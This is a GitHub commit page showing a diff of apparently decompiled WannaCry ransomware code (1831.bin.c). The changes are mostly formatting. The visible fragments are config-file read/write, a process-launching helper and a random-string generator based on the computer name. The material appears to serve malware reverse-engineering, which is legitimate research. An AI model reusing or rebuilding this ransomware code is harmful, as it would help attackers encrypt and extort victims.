Skip to content

Commit

Permalink
updated u.wnry.c
Browse files Browse the repository at this point in the history
  • Loading branch information
autun12 committed Nov 7, 2019
1 parent 8c6edc0 commit 7e68dbc
Show file tree
Hide file tree
Showing 3 changed files with 75 additions and 1,439 deletions.
12 changes: 6 additions & 6 deletions 1831.bin.c
Original file line number Diff line number Diff line change
Expand Up @@ -758,19 +758,16 @@ uint __cdecl FUN_00401000(void *param_1,int param_2) {

if (param_2 == 0) {
_Mode = &DAT_0040e018;
}
else {
} else {
_Mode = &DAT_0040e01c;
}
_File = fopen(s_c_wnry_0040e010,_Mode);
if (_File == (FILE *)0x0) {
uVar1 = 0;
}
else {
} else {
if (param_2 == 0) {
sVar2 = fwrite(param_1,0x30c,1,_File);
}
else {
} else {
sVar2 = fread(param_1,0x30c,1,_File);
}
uVar1 = (uint)(sVar2 != 0);
Expand All @@ -791,11 +788,13 @@ undefined4 __cdecl run_command(LPSTR param_1,DWORD param_2,LPDWORD param_3) {
iVar3 = 0x10;
local_58.cb = 0x44;
ppCVar4 = &local_58.lpReserved;

while (iVar3 != 0) {
iVar3 = iVar3 + -1;
*ppCVar4 = (LPSTR)0x0;
ppCVar4 = ppCVar4 + 1;
}

local_14.hProcess = (HANDLE)0x0;
local_14.hThread = (HANDLE)0x0;
local_14.dwProcessId = 0;
Expand Down Expand Up @@ -954,6 +953,7 @@ void __cdecl randomstring_generator(char *randomstring_output) {
local_8 = 0;
_Seed = 1;
computername_len = wcslen((wchar_t *)&computername);

if (computername_len != 0) {
computername_ptr = &computername;
do {
Expand Down
Loading

0 comments on commit 7e68dbc

Please sign in to comment.